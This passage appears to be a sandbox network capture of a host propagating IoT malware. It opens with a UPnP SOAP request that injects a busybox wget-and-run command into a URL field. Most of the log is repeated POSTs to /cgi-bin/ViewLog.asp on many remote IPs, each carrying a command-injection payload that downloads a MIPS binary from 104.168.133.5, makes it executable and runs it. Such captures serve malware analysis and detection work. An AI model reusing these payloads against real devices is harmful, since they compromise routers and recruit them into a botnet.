0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.13	57730	31.136.5.218	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:42.687309980 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:43.270593882 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:44.422637939 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:46.726655006 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:51.334574938 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:00.550704002 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:19.494532108 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:56.358462095 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.13	55728	31.136.135.97	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:42.689007044 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:43.270585060 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:44.422728062 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:46.726635933 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:51.334575891 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:00.550699949 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:19.494551897 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:56.358453989 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.13	32922	94.236.201.198	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:42.718461990 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:42.933552027 CET	502	IN	HTTP/1.1 401 Unauthorized Date: Sat, 09 May 2015 14:44:54 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Content-encoding: gzip Connection: close WWW-Authenticate: Basic realm="WF2780_US" user" Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /cgi-bin/ViewLog.asp from this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.13	50714	94.242.229.253	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:42.815501928 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.13	60626	85.69.35.15	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:42.867172003 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:43.430696011 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:44.518594027 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:46.726614952 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:51.078560114 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:59.782764912 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:17.446490049 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:52.262419939 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.13	40156	31.136.66.151	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:42.872355938 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh 